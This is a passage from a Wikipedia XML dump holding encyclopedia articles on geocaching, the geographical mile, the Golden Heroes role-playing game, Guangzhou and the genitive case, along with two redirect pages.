In the early beginning the activity was originally referred to as ''GPS stash hunt'' or ''gpsstashing''. This was changed after a discussion in the [http://groups.yahoo.com/group/gpsstash/ gpsstash] discussion group at [[eGroups]] (now [[Yahoo!]]). On [[May 30]], [[2000]], Matt Stum suggested to change the name &quot;stash&quot; into &quot;cache&quot; and also mentioned &quot;geocaching&quot; as the name of the activity.[http://geocaching.gpsgames.org/history/geocacheword.txt]

==Geocaches==

[[Image:Geocache.jpg|thumb||Geocache [http://www.geocaching.com/seek/cache_details.aspx?guid=f0450e73-f417-4855-ae28-1ac87e63806a Loonse en Drunense Duinen] in [[The Netherlands]]]]

For the traditional geocache, a geocacher will place a waterproof container, containing a log book (with pen or pencil) and treasures, then note the cache's [[Latitude and longitude|coordinates]]. These coordinates, along with other details of the location, are posted online. Other geocachers obtain the coordinates from the [[Internet]] and, using handheld GPS receivers, seek out the cache. The finding geocachers record their exploits in the logbook and online. Geocachers are free to take objects from the cache in exchange for leaving something of similar or higher [[value]], so there's [[treasure]] for the next person to find.

Typical cache treasures aren't high in intrinsic [[value]]. Aside from the logbook, common cache contents are [[U.S. two dollar bill|Two dollar bills]] or other unusual [[coin]]s or [[currency]]; small toys; ornamental buttons; and CDs or books. Also common are &quot;hitchhikers&quot; (a.k.a. travelers or [[Travel Bug]]s), which are objects moved from cache to cache, and whose travels may be logged online.  Occasionally, higher value items are included in geocaches, normally reserved for the &quot;first finder,&quot; or those locations which are harder to reach.  
[[Image:TravelBug.jpg|thumb|A [[Travel Bug]]]]

Geocaches can range in size from &quot;microcaches,&quot; too small to hold anything more than a tiny paper log, to those placed in five-gallon buckets or even larger containers.

If a geocache has been vandalized or stolen, it is said to have been &quot;plundered&quot; or &quot;muggled.&quot; The latter term plays off the fact that those not familiar with geocaching are called &quot;geo-muggles&quot; or just [[Muggle (disambiguation)|muggle]]s, a term borrowed from the [[Harry Potter]] series of books.  If a cacher discovers that a cache has been muggled, an e-mail to the cache owner is appropriate so it can either be deactivated, repaired, or replaced.

== Variations ==

There are many types of caches. Some are easy enough to be called &quot;drive-bys&quot;, &quot;park 'n' grabs&quot; (&quot;PNG's&quot;), or &quot;cache and dash&quot;. Others are very difficult: [http://www.geocaching.com/seek/cache_details.aspx?guid=e357a41d-80c8-4979-b46d-088247b9660c under water], 
[http://www.geocaching.com/seek/cache_details.aspx?guid=bfd77652-25cd-487d-8a6d-5bc9c204ad53 many staged multi-caches],
[http://www.geocaching.com/seek/cache_details.aspx?guid=98d386cb-1ec5-4703-93ef-db82be17acc4 challenging cryptography],
[http://www.geocaching.com/seek/cache_details.aspx?wp=GCKR3C 50 feet up a tree], [http://www.geocaching.com/seek/cache_details.aspx?guid=1c322b4e-2f8d-40f9-9f3e-4d1bf9daeb6e on high mountain peaks], [http://www.brillig.com/geocaching/antarctica.shtml on the] [[Antarctica|Antarctic continent]] or [http://www.geocaching.com/seek/cache_details.aspx?wp=GC5803 above the] [[Arctic Circle]].

Variations of geocaches include:
* Traditional: A basic cache. Contains one container with a log book at minimum, usually toys.
* Multi-cache: requires a visit to one or more intermediate points to determine the coordinates of the cache.
* Mystery/puzzle cache: Coordinates listed are not the coordinates for the cache. The seeker must solve a puzzle to find the actual coordinates.
* Event cache: a meeting for geocachers, found by [[Calendar date|date]], [[hour]] and [[Latitude and longitude|coordinates]]
* [http://www.cacheintrashout.org Cache-In Trash-Out] (CITO) Events: A variation on the event cache, where geocachers get together at a particular location and clean up the trash in the area.
* Letterbox hybrid: This is a hybrid between geocaching and the much older activity of [[letterboxing]]. In addition to a logbook and trade items, it contains a rubber stamp to stamp your log book. Letterboxers carry their own stamp with them, to stamp the letterbox's log book. 
* [[Webcam]]: a location with a public web cam. You must have someone watching the camera on a computer to &quot;capture&quot; your image, or you can bring your own [[lap-top]] with you.
* Virtual: a location to visit simply for what is already there. To prove you visited the site, you are generally required to either email the cache owner with information such as a date or a name on a plaque, or post a picture of yourself at the site with GPS receiver in hand.
* Locationless or reverse cache: the opposite of a traditional cache, as the game is to find a specific type of object, like a one-room schoolhouse, then log its coordinates and post a picture holding your GPS in front of the cache site.
* Earthcache: A type of &quot;cache-less cache&quot; sponsored and approved by the [[Geological Society of America]]. The locations do not have items, but contain information about the geology, fossils and local environment.
* Moving/traveling cache: The finder logs the cache, trades trinkets, then hides the cache in a different place.

Geocaching.com, currently the most popular caching Web site, no longer lists caches without a physical object, including locationless/reverse, virtual, webcam, and earth caches (however, existing virtual, webcam, and earth caches have been grandfathered in and &quot;finds&quot; to them can still be logged at the site).  [[Groundspeak|Groundspeak, Inc.]], the site's owners, have created a [[waymarking]] website, at waymarking.com, to handle non-physical object caches.

== Internet ==

There are a number of Web sites that list geocache sites around the world. The best known is [http://www.geocaching.com geocaching.com], which dates from 2000 and whose owners have attempted to commercialize the activity, including attempts to trademark the word &quot;geocache&quot;. These attempts have often proved controversial in the community. Geocaching.com claims to be &quot;The Official Global GPS Cache Hunt Site&quot; despite the lack of any governing body which might grant this status.

In the [[United States]], where most geocaching services are hosted, coordinates are not protected by copyright but cache data are. Commercial Web sites listing geocache data are generally protective of their data. People using publicly available data taken from geocaching.com have been threatened with lawsuits by Groundspeak, Inc., owners of the site. One of the most notable examples of this is that of Ed Hall who in 2001 was threatened with a lawsuit if he didn't place a notice stating that all geocaching data used in the creation of his geocache maps was copyrighted by Groundspeak, Inc. His site now acknowledges the various sources of cache data he uses. [http://www.brillig.com/geocaching/offline_reasons.shtml]

==See also==

{{Commons|Geocaching}}
* [[List of geocaching organizations]] - by states / provinces / countries
* [[Bookcrossing]]
* [[Degree Confluence Project]]
* [[Benchmarking (geolocating)]]
* [[Benchmark (surveying)]]
* [[Geodashing]]
* [[Letterboxing]]
* [[Geocaching Software]]
* [[Paperless Geocaching]]
* [[Geocoins]]
* [[Postcrossing]]
* [[Trigpointing]]

==External links==
=== Cache listing sites ===
* [http://www.geocaching.com Geocaching.com (Groundspeak)] 
* [http://www.TerraCaching.com/ TerraCaching.com]
* [http://www.navicache.com Navicache.com]
* [http://geocaching.gpsgames.org GPSgames.org]
* [http://www.movingcache.com Moving Cache.com]
* [http://www.earthcache.org/ EarthCache]
* [http://www.cistrail.net/ Cistrail]
* [http://www.brillig.com/geocaching/ Buxley's Geocaching Waypoint (Ed Hall)]
* [http://www.podcacher.com/ PodCacher.com]

=== Similar and related activities ===
* [http://www.geocaching.com/mark/ Benchmarking using a GPS]
* [http://www.geohikes.co.uk GeoHikes] A site dedicated to providing walking routes in the UK which pass geocaches.
* [http://www.gpsgames.org GPSGames.org] Geodashing, Minutewar, Geogolf, and more...
* [http://www.waymarking.com Waymarking.com] Waymarking
* [http://www.timeinacapsule.com Time In A Capsule]  An Adventure for Your Descendants: Secreting capsules in the remote wilderness for your family to retrieve years later.

=== Tools ===
* [http://earth.google.com/ Google Earth]
* [http://www.gpsbabel.org/ GPSBabel] Convert to a bazillion formats; transfer waypoints to receivers under any OS
* [http://boulter.com/gqs/ Jeff Boulter's 'Geocaching Quick Search' service]
* [http://www.baconizer.com/geohelper/ GeoHelper]: Entering Geocaching.com-style coordinates will generate a Mapquest map
* [http://adventuresingeocaching.blogspot.com/2005/12/geocaching-software.html Geocaching Software Review] An excellent review of various Geocaching software tools - featured on many sites and discussed on a [http://www.PodCacher.com/ PodCacher.com] podcast.

=== Miscellaneous ===
* [http://home.earthlink.net/~prime.suspect/geolex/ GeoLex - The Lexicon of Geocaching] Comprehensive listing of the terms and abbreviations used in the geocaching world, and their meanings.
* [http://geocaching.gpsgames.org/history/ Geocaching history] 
* [http://www.geocachingpolicy.info/ Geocaching Policy website] Public land policies regarding Geocaching and related activities (Out Of Date)
* [http://www.geocreed.info/ The Geocachers' Creed] A voluntary set of principles for placing and hiding geocaches
* [http://www.cacheopedia.com/ Cacheopedia] A wiki site specifically for geocaching articles, safety guides, reviews, etc.

[[Category:GPS]]
[[Category:Hobbies]]
[[Category:Outdoor locating games]]
[[Category:Internet object tracking]]

[[cs:Geocaching]]
[[da:Geocaching]]
[[de:Geocaching]]
[[es:Geocaching]]
[[eo:Geokaŝludado]]
[[fr:Geocaching]]
[[nl:Geocaching]]
[[ja:ジオキャッシング]]
[[no:Geocaching]]
[[pl:Geocaching]]
[[pt:Geocaching]]
[[ru:Геокэшинг]]
[[fi:Geokätkentä]]
[[sv:Geocaching]]</text>
    </revision>
  </page>
  <page>
    <title>Geographical mile</title>
    <id>12534</id>
    <revision>
      <id>22533136</id>
      <timestamp>2005-09-04T08:28:58Z</timestamp>
      <contributor>
        <username>Glenn</username>
        <id>9232</id>
      </contributor>
      <comment>+da</comment>
      <text xml:space="preserve">The '''geographical mile''' is a unit of length determined by 1 [[minute|minute of arc]] along the [[Earth]]'s [[equator]], approximately equal to 1855 [[metre]]s (6087.15 international [[foot (unit of length)|feet]]). 

The unit is not used much; it is closely related to the [[nautical mile]], which was originally determined as 1 minute of arc along a [[great circle]] of the Earth and is nowadays defined to be exactly 1852 metres.

The [[Denmark|Danish]] and [[Germany|German]] '''geographical mile''' (''mil'' and ''Meile'') is 4 minutes of arc, and was defined as approximately 7421.5 metres by the astronomer [[Ole Rømer]] of [[Denmark]]. In [[Norway]] and [[Sweden]], this 4 minute geographical mile was mainly used at sea (''sjømil''), up to the beginning of the 20th century.

==See also==
*[[Medieval weights and measures]] for details of the geographical [[league]] of [[France]]
*[[conversion of units]] 
*[[mile]] for the various other miles in use

[[Category:Units of length]]

[[da:Geografisk mil]]</text>
    </revision>
  </page>
  <page>
    <title>Golden Heroes</title>
    <id>12535</id>
    <revision>
      <id>38680111</id>
      <timestamp>2006-02-07T23:00:32Z</timestamp>
      <contributor>
        <username>Genesis</username>
        <id>72450</id>
      </contributor>
      <comment>added infobox</comment>
      <text xml:space="preserve">{{Infobox RPG
|title= Golden Heroes
|image= 
|caption= 
|designer= [[Simon Burley]], [[Peter Haines]]
|publisher= [[Games Workshop]]
|date= 1982 ''(amateur)''&lt;br&gt;1984 ''([[Games Workshop]])''
|genre= [[Superhero]] fiction
|system= Custom
|footnotes= 
}}
'''Golden Heroes''' is a [[superhero]] [[role-playing game]] that was originally written and published on an amateur basis in [[1982]]. [[Games Workshop]] then published a more complete version in [[1984]].  

It was written by [[Simon Burley]] and [[Peter Haines]] and was illustrated by a whole group of artists who were working for [[2000 AD (comic)|2000 AD]] at the time.

Published in a box the rules books features fake [[bar code]]s and [[comics code]] approval badges.

The character generation system is legendary with players rolling completely random characters. A character can only keep his full set of powers if he can justify them all in a plausible origins story.

The system really strives to recreate comics, with the actions occurring in &quot;frames&quot; and a lot of classic comics assumptions being written into the rules.

The game is also now known as Squadron UK, which is available for free (minus the original artwork).

==External links==
* [http://members.aol.com/squadronuk/SquadronUK/ Squadron UK Homepage]

{{rpg-stub}}

[[Category:Superhero role-playing games]]</text>
    </revision>
  </page>
  <page>
    <title>Genetive</title>
    <id>12536</id>
    <revision>
      <id>15910218</id>
      <timestamp>2002-02-25T15:43:11Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
      </contributor>
      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[Genitive case]]
</text>
    </revision>
  </page>
  <page>
    <title>Guangzhou</title>
    <id>12537</id>
    <revision>
      <id>41279771</id>
      <timestamp>2006-02-26T06:32:29Z</timestamp>
      <contributor>
        <ip>71.129.75.70</ip>
      </contributor>
      <text xml:space="preserve">{{Chinese|eng=Guangzhou|simp=广州|trad=廣州|pinyin=Guǎngzhōu|wg=Kuang-chou|yale=Gwóngjaū|jp=Gwong2zau1|bopomofo=ㄍㄨㄤˇ ㄓㄡ}}
{{ZHdot|Guangzhou}}

:''&quot;Canton, China&quot; redirects here. For a province in [[China]], see [[Guangdong]]''.

'''Guangzhou''' is the capital of [[Guangdong]] [[Province of China|Province]] in southern [[China]]. The city was formerly known internationally as '''Canton City''' or simply '''Canton''', after a [[French language]] transliteration of the city name in [[Cantonese (linguistics)|Cantonese]]. It is a port on the [[Pearl River (China)|Pearl River]], which is [[navigable river|navigable]] to the [[South China Sea]]. As of the [[2000]] census, the city population was 9.94 million making it the most populous city in the province and the fifth most populous in China.

==Name==
The Chinese abbreviation of Guangzhou is Sui (穗; pinyin: sùi; Jyutping: seoi6; Yale: seuīh) or sometimes GZ. This city has the nicknames of Wuyangcheng (city of five rams), Yangcheng (city of rams), Huacheng (city of flowers), or Suicheng.  The city can also be refered to as the WuMengCheng (City of Wood Wools), a reference to a tall, native tree that produces wool fiber in its gorgeous red blossoms.

&quot;Canton&quot; was the convenient [[French language|French]] [[romanisation]] for [[Europeans]] who during the colonial period generally did not understand ideographic characters (see [[exonym and endonym]]). When the term &quot;Canton&quot; is pronounced in French it provides a closer oral rendering of the name in its original [[Cantonese (linguistics)|Cantonese]]. Guangzhou is a [[Mandarin (linguistics)|Mandarin]] pronunciation of the Han ideographs.

==Geography==
Guangzhou is located at 112°57'E to 114°3'E and 22°26'N to 23°56'N. The city is part of the [[Pearl River Delta]].

[[Image:Guangzhou citic plaza.jpg|left|thumb|250px|CITIC Plaza]]
[[Image:Canton pagoda de las flores.JPG|right|thumb|250px|Temple of the Six Banyan Trees]]

===Administrative divisions===
[[Image:Guangzhou map2005.jpg|thumb|270px|right|Guangzhou jurisdiction (in yellow)]]

Guangzhou is a [[sub-provincial city]]. It has direct jurisdiction over ten [[District of China|districts]] and two [[county-level city|county-level cities]].

;District
*[[Yuexiu|Yuexiu District]]
*[[Liwan|Liwan District]]
*[[Haizhu|Haizhu District]]
*[[Tianhe|Tianhe District]]
*[[Baiyun|Baiyun District]]
*[[Huangpu, Guangzhou|Huangpu District]]
*[[Huadu|Huadu District]]
*[[Panyu|Panyu District]]
*[[Nansha|Nansha District]]
*[[Luogang|Luogang District]]

As of [[April 28]], [[2005]], the districts of [[Dongshan, Guangzhou|Dongshan]] and [[Fangcun]] have been abolished and merged into [[Yuexiu]] and [[Liwan]] respectively; at the same time the district of [[Nansha]] is established out of parts of [[Panyu]], and the district of [[Luogang]] is established out of parts of [[Baiyun]], [[Tianhe]], [[Huangpu, Guangzhou|Huangpu]], and [[Zengcheng]].

==History==
It is believed that the first city built at the site of Guangzhou was Panyu (番禺; the locals pronounced this in Cantonese as ''Poon Yu'') founded in 214 BC.  The city has been continuously occupied since that time.  Panyu was expanded when it became the capital of the [[Nanyue]] Kingdom (南越) in 206 BC.

The [[Han Dynasty]] annexed Nanyue in 111 BC, and Panyu became a provincial capital and remains so until this day. In 226 AD, the city became the seat of the Guang Prefecture (廣州; Guangzhou). Therefore, &quot;Guangzhou&quot; was the name of the prefecture, not of the city. However, people grew accustomed to calling the city Guangzhou, instead of Panyu.

[[Image:Situationskrtchen von Kanton, Makao, Hongkong.jpg|thumb|250px|1888 German map of Hong Kong, Macau, and Canton (now Guangzhou)]]

[[Arabs]] ¹ and [[Iran|Persia]]ns sacked Guangzhou (known to them as '''Sin-Kalan''') in AD 758, ² according to a local Guangzhou government report on [[October 30]] [[758]], which corresponded to the day of ''Guisi'' (癸巳) of the ninth [[Chinese calendar|lunar]] month in the first year of the [[Chinese era name|''Qianyuan'' era]] of [[Emperor Suzong of Tang China|Emperor Suzong]] of the [[Tang Dynasty]]. ³

During the Northern Song Dynasty, a celebrated poet called Su Shi visited Guangzhou's [[Temple of the Six Banyan Trees|Baozhuangyan Temple]] and wrote the inscription &quot;Liu Rong&quot; (Six Banyan Trees) because of the six banyan trees he saw there. It has since been called the Temple of the Six Banyan Trees.

In 1711, the [[British East India Company]] established a trading post in Guangzhou. The [[Qianlong Emperor]] restricted foreign traders to a district in Guangzhou under the [[Canton System]] in 1760.

Guangzhou was one of the five Chinese [[treaty ports]] opened by the [[Treaty of Nanking]] (signed in 1842) at the end of the [[First Opium War]] between [[United Kingdom]] and [[China]]. The other ports were [[Fuzhou]], [[Xiamen]], [[Ningbo]] and [[Shanghai]].

In 1918, &quot;Guangzhou&quot; became the official name of the city, when an urban council was established in Guangzhou. Panyu became a county's name south of Guangzhou. In both 1930 and 1953, Guangzhou was promoted to the status of a Municipality, but each promotion was cancelled within the year. Japanese troops occupied Guangzhou between [[October 12]], [[1938]] and [[September 16]], [[1945]].

After the communist take-over, urban renewal projects in the city improved the lives of many residents. New housing on the shores of the Pearl River provided homes for the poor [[boat people]]. Reforms by [[Deng Xiaoping]], who came to power in the late 1970s, led to rapid economic growth due to the city's close proximity to [[Hong Kong]] and access to the Pearl River.

As labor costs increased in Hong Kong, [[manufacturer]]s opened new plants in the cities of [[Guangdong]] including Guangzhou. As the largest city in one of China's wealthiest provinces, Guangzhou attracts farmers from the countryside looking for factory work.  Cantonese links to overseas Chinese and beneficial tax reforms of the 1990s have aided the city's rapid growth.

In 2000, [[Huadu]] and [[Panyu]] were merged into Guangzhou as districts, and [[Conghua]] and [[Zengcheng]] became county-level cities of Guangzhou.

===Astronomical phenomena===

The previous total [[solar eclipse]] as seen from Guangzhou (downtown) was [[Solar eclipse of 1814-Jul-17]] ([[July 17]], [[1814]]).

==Modern Guangzhou==

===Economy===

Guangzhou is the economic centre of the [[Pearl River Delta]], placing it in the heart of one of [[mainland China]]'s leading commercial and manufacturing regions.

In 2003, the GDP per capita was ¥38,568 (about US $4,660), ranking the city eighth among 659 Chinese cities.

The [[Canton Fair|Chinese Export Commodities Fair]], also called &quot;Canton Fair&quot;, is held each [[Spring (season)|spring]] and [[autumn]]. Inaugurated in the spring of 1957, the Fair is a major event for the city.

===Transportation===

The [[Guangzhou Metro]] opened in 1999.

Guangzhou's main [[airport]] is the [[Guangzhou Baiyun International Airport|New Baiyun International Airport]] in [[Huadu]] District, that opened on [[5 August]] [[2004]] replacing old [[Baiyun International Airport]] close to the city centre. 

Guangzhou is connected to [[Hong Kong]] by train, bus and ferry services. Express trains arrive in Hong Kong at the [[Hung Hom (KCRC)|Hung Hom KCR station]]. They cover the 182 km route in approximately two hours. Daily ferry sailings include an overnight steamer, which takes eight hours, and high-speed catamarans and hydrofoils which take three hours to reach the [[China Ferry Terminal]] or [[Hong Kong-Macau Ferry Pier, Hong Kong|Macau Ferry Pier]] in Hong Kong.

===Tourist attractions===
[[Image:Sacré-Cœur de Shizhi.jpg|250px|thumb|right|Shishi Holy Heart Cathedral]]

* [[Shamian Island]]
* [[Guangdong Provincial Museum]]
* [[Museum of the Tomb of the King of Southern Yue in Western Han Dynasty]]
* [[Temple of the Six Banyan Trees]]
* [[Shishi Holy Heart Cathedral]]
* [[Huaisheng Mosque]]

===Significant buildings===
* [[Guangdong Olympic Stadium]]
* [[CITIC Plaza]]
* [[Sky Central Plaza]]
* [[Guangdong TV Tower]]
* [[Guangzhou TV Tower]]
* [[China Hotel]]

Plans are also underway to build what will become the world's tallest free-standing TV tower.

===Culture===
* [[Cantonese (linguistics)]]
* [[Cantonese cuisine]]
* [[Cantonese opera]]

===Major educational institutions===
'''National'''
*[[Jinan University]] (暨南大学) (founded 1906)
*[[Sun Yat-sen University]] (中山大学) (founded 1924)
*[[South China University of Technology]] (华南理工大学)

'''Public'''
*[[Guangdong University of Foreign Studies]] (广东外语外贸大学)
*[[South China Agricultural University]] (华南农业大学) (founded 1909)
*[[Zhongkai Agrotechnical College]] (仲恺农业技术学院) (founded 1927)
*[[South China Normal University]] (华南师范大学)
*[[Guangzhou Medical College]] (广州医学院)
*[[Guangzhou University of TCM]] (广州中医药大学)
*[[Guangdong College of Pharmacy]] (广东药学院)
*[[Guangdong University of Technology]] (广东工业大学)
*[[Guangzhou University]] (广州大学)
*[[Guangdong Business College]] (广东商学院)
*[[Xinghai Conservatory of Music]] (星海音乐学院)
*[[GuangDong Polytechnic Normal University]] (广东技术师范学院)
*[[Guangzhou Physical Education Institute]] (广州体育学院)

Note: Institutions without full-time bachelor programs are not listed.

== Sister cities ==
Guangzhou maintains [[town twinning|sister city]] relationships with the following cities:

* {{flagicon|Japan}} [[Fukuoka, Fukuoka|Fukuoka]], [[Japan]] (May, 1979)
* {{flagicon|USA}} [[Los Angeles]], [[USA]] ([[March 2]], [[1982]])
* {{flagicon|Philippines}} [[Manila]], [[Philippines]] (November, 1982)
* {{flagicon|Canada}} [[Vancouver]], [[Canada]] (March, 1985)
* {{flagicon|Australia}} [[Sydney]], [[Australia]] (May, 1986)
* {{flagicon|Italy}} [[Bari]], [[Italy]] (November, 1986)
* {{flagicon|Germany}} [[Frankfurt am Main]], [[Germany]] ([[April 11]], [[1988]])
* {{flagicon|France}} [[Lyon]], [[France]] (November, 1988)
* {{flagicon|New Zealand}} [[Auckland]], [[New Zealand]], (February, 1989)
* {{flagicon|South Korea}} [[Kwangju]], [[South Korea]] (October, 1996)
* {{flagicon|Sweden}} [[Linköping]], [[Sweden]] (November, 1997)
* {{flagicon|South Africa}} [[Durban]], [[South Africa]] (July, 2000)
* {{flagicon|United Kingdom}} [[Bristol]], [[United Kingdom]] (May, 2001)
* {{flagicon|Russia}} [[Yekaterinburg]], [[Russia]] ([[July 10]], [[2002]])
* {{flagicon|Peru}} [[Arequipa]], [[Peru]] ([[October 27]], [[2004]])

==See also==
* [[Whampoa Military Academy]]
* [[Guangzhou Uprising]] (1927)
* [[Canton porcelain]]
* [[Lingnan University (Guangzhou)]]

==Footnotes==
:¹ [[Frank Welsh]], ''A Borrowed Place: The History of Hong Kong'', [[Maya Rao]] (editor), p. 13, ISBN 1568361343
:² [[Joseph Needham]], ''Science &amp; Civilisation in China'', '''1''', pp.179 - [[Cambridge University Press]] 1954
:³ [[Sima Guang]], ''[[Zizhi Tongjian]]'', ch. 220.

==External links==
* [http://www.guangzhou.gov.cn/ Official Guangzhou Website] (in simplified and traditional Chinese)
* [http://maps.google.com/maps?q=Guangzhou,+China&amp;spn=0.164057,0.231571&amp;t=k&amp;hl=en Satellite photo of the city]
* [http://www.marimari.com/content/hong_kong/transport/getting_there/main.html Marimari.com] Rail, ferry and bus connections to Hong Kong in English
*[http://www.globalphotos.org/guangzhou.htm Guangzhou Photo Gallery]

{{Guangdong}}

[[category:Guangzhou| ]]
[[Category:Subprovincial cities]]

[[ar:قوانغتشو]]
[[bs:Kanton]]
[[ca:Canton]]
[[da:Guangzhou]]
[[de:Guangzhou]]
[[es:Guangzhou]]
[[eo:Kantono (Ĉinio)]]
[[fa:گوانگ‌ژو]]
[[fr:Canton (Chine)]]
[[ko:광저우]]
[[id:Guangzhou]]
[[it:Canton]]
[[lb:Guangzhou]]
[[nl:Kanton (stad)]]
[[ja:広州]]
[[no:Guangzhou]]
[[pl:Guangzhou]]
[[pt:Cantão]]
[[ru:Гуанчжоу]]
[[fi:Guangzhou]]
[[sv:Guangzhou]]
[[tt:Kanton]]
[[vi:Quảng Châu]]
[[za:Gvangjcouh]]
[[zh:广州]]</text>
    </revision>
  </page>
  <page>
    <title>Goldbachs conjecture</title>
    <id>12538</id>
    <revision>
      <id>15910220</id>
      <timestamp>2002-03-18T00:06:01Z</timestamp>
      <contributor>
        <username>The Anome</username>
        <id>76</id>
      </contributor>
      <comment>#REDIRECT [[Goldbach's conjecture]]</comment>
      <text xml:space="preserve">#REDIRECT [[Goldbach's conjecture]]</text>
    </revision>
  </page>
  <page>
    <title>Genitive case</title>
    <id>12539</id>
    <revision>
      <id>41133246</id>
      <timestamp>2006-02-25T06:35:13Z</timestamp>
      <contributor>
        <username>Benwing</username>
        <id>27302</id>
      </contributor>
      <comment>/* Uses of the marker in English */ rewrite this section and remove some of the pov</comment>
      <text xml:space="preserve">{{Table_Cases}}

The '''genitive case''' is a [[grammatical case]] that indicates a relationship, primarily one of [[possession (linguistics)|possession]], between the [[noun]] in the genitive case and another noun. In a more general sense, this genitive relationship may be thought of as one thing belonging to, being created from, or otherwise deriving from some other thing. (The relationship is usually expressed by the preposition ''of'' in English.) The term ''[[possessive case]]'' refers to a case that is similar, though usually more restricted in usage, to the genitive.

Specific varieties of genitive relationships include:
* origin (&quot;men ''of Rome''&quot;)
* relationship (&quot;''Janet's'' husband&quot;)
* subjectivity (&quot;''my'' leaving&quot;)
* objectivity (&quot;the ''archduke's'' murder&quot;)
* description (&quot;man ''of honor''&quot;, &quot;day ''of reckoning''&quot;)
* composition (&quot;wheel ''of cheese''&quot;) &amp;mdash; [[partitive]]
* number of distinct items ([[Old English language|Old English]] &quot;féower ''manna''&quot;; literally, &quot;four ''of men''&quot;) &amp;mdash; partitive
* part of a mass (&quot;a pound ''of beef''&quot;) &amp;mdash; partitive
* inalienable possession (&quot;''my'' height&quot;, &quot;''his'' existence&quot;, &quot;''her'' long fingers&quot;)
* alienable possession (&quot;''his'' jacket&quot;, &quot;''my'' drink&quot;)

The last two relationships are the most commonly expressed by the genitive. A distinct [[partitive case]] is used in the languages supporting it. The partitive applies to number of distinct items, composition and part of mass, as in Finnish ''kilo juustoa'' &quot;a kilogram ''of cheese''&quot;.

In some languages, nouns in the genitive case also agree in case with the nouns they modify (that is, the head noun is marked for two cases). This phenomenon is called [[suffixaufnahme]].

One form in which genitive cases may be found is [[inclusio]].

Many languages have a genitive case, including [[Lithuanian language|Lithuanian]], [[Arabic_language|Arabic]], [[Latin]], [[Irish_language|Irish]], [[Georgian language|Georgian]], [[Greek_language|Greek]], [[German language|German]], [[Dutch language|Dutch]], [[Polish_language|Polish]], [[Slovenian_language|Slovenian]], [[Russian_language|Russian]], [[Finnish_language|Finnish]] and [[Sanskrit]]. English does not have a proper genitive case, but a possessive ending, ''-'s'' (see below).

==The English ''-'s'' ending==
===The possessive marker===
Some argue that it is a common misconception that [[English_language|English]] nouns have a genitive case, marked by the possessive ''-'s'' ending (known as the [[saxon genitive]]). Some [[Linguistics|linguists]] believe that English possessive is no longer a case at all, but has become a [[clitic]], an independent [[grammatical particle|particle]] which, however, is always pronounced as part of the preceding word. This is claimed on the basis of the following sort of example: &quot;The king of Sparta's wife was called Helen.&quot;  If the English ''-'s'' were a genitive case mark, then the wife would belong to Sparta; but the ''-'s'' attaches not to the word ''Sparta'', but to the entire phrase ''the king of Sparta''. 

Even those who feel that the genitive case has become a clitic do not deny that the English possessive had its origins as a genitive case. In [[Old English language|Old English]], a common singular genitive ending was ''-es''. In fact, the origin of the possessive marker, the apostrophe, is as an indicator of the 'e' &quot;missing&quot; from the [[Old English language|Old English]] [[Morphology (linguistics)|morphology]].

Use of a particle for the possessive can be seen in the closely related [[Afrikaans]] language: ''die man se hand'' (the man's hand).

The [[18th century]] explanation that the [[Apostrophe (punctuation)|apostrophe]] might replace a genitive pronoun, as in &quot;the king's horse&quot; being a shortened form of &quot;the king, his horse&quot;, is erroneous (a construction which actually occurs in [[German language|German]] dialects and has replaced the genitive there, together with the &quot;of&quot; construction that also exists in English). Indeed, it would be expected that plurals and feminine nouns would form possessives using '-r': &quot;*The queen'r children&quot; would be short for &quot;the queen, her children.&quot; Since this is different from the plural, it would provide a useful distinction. The fact that that is not how English speakers form possessives shows that the above explanation is incorrect.

A few remnants of the genitive case do remain in [[Modern English]] in a few [[pronoun]]s as ''whose'', the genitive form of ''[[Who (pronoun)|who]]''; likewise, my/mine, his/hers/its, our/ours, their/theirs. ''See also [[Declension in English]].''

===Uses of the marker in English===
The English construction in ''-'s'' has various uses other than a possessive marker.  Most of these uses overlap with a complement marked by 'of' (''the music of Beethoven'' or ''Beethoven's music''), but the two constructions are not equivalent.  The use of ''-'s'' in a non-possessive sense is more prevalent, and less restricted, in formal than informal language.

====Genitive of origin; subjective genitive====
*''Beethoven's music''
*''Fred Astaire's dancing''
*''Confucius' teaching''
In these constructions, the marker indicates the origin or source of the head noun of the phrase, rather than possession ''per se''.  Most of these phrases, however, can still be paraphrased with ''of'': ''the music of Beethoven'', ''the teaching of Confucius''.  

====Objective genitive; classifying genitive====
*''the Hundred Years' War''
*''A Dollar's worth''
*''Two weeks' notice''
*''A Midsummer Night's Dream''
In these constructions, the marker serves to specify, delimit, or describe the head noun.  The paraphrase with ''of'' is often un-idiomatic or ambiguous with these genitives: *''the war of a Hundred Years'', *''the pay of a day'', and *''notice of two weeks'' introduce the likelihood of misunderstanding.

====Genitive of purpose====
*''Women's shoes''
*''Children's literature''
Here, the marked noun identifies the purpose or intended recipient of the head noun.  ''Of'' cannot paraphrase them; they can be idiomatically paraphrased with ''for'': ''shoes for women''.

==The genitive in astronomy==

In the case of [[constellation]]s, it is useful to know the genitive of the constellation's Latin name, since this is used to make the [[Bayer designation]] of stars in that constellation. For instance, since the genitive of the Latin word ''virgo'' (&quot;virgin&quot;) is ''virginis'', the brightest star in the constellation Virgo is known as [[Alpha Virginis]]. Many references on constellations list the genitive for each constellation.

==Baltic Finnic &quot;genitives&quot;==
In [[Baltic-Finnic languages]], the [[accusative case]] ''-(e)n'' is homophonic to the genitive case. In [[Estonian language|Estonian]], it is often described that only a &quot;genitive&quot; exists. However, the cases have completely different functions, and the form of the accusative has developed from *''-(e)m''. (The same sound change has developed into a synchronic mutation of a final 'm' into 'n' in Finnish, e.g. genitive ''sydämen'' vs. nominative ''sydän''.) This homophony has only exceptions in [[Finnish language|Finnish]], where a separate accusative ''-(e)t'' is found in pronouns, e.g. ''kenet'' &quot;who (telic object)&quot;, vs. ''kenen'' &quot;whose&quot;.

==External links==
* [http://www.russianlessons.net/grammar/nouns_genative.php Genitive Case In Russian]

[[Category:Grammatical cases]]

[[als:Genitiv]]
[[ca:Cas genitiu]]
[[da:Genitiv]]
[[de:Genitiv]]
[[es:Caso genitivo]]
[[eo:Genitivo]]
[[fr:Génitif]]
[[hr:Genitiv]]
[[is:Eignarfall]]
[[it:Genitivo]]
[[nl:Genitief]]
[[ja:属格]]
[[nn:Genitiv]]
[[pl:Dopełniacz (przypadek)]]
[[ro:Cazul genitiv]]
[[ru:Родительный падеж]]
[[fi:Genetiivi]]
[[sv:Genitiv]]
[[zh:属格]]</text>
    </revision>
  </page>
  <page>
    <title>Gematria</title>
    <id>12541</id>
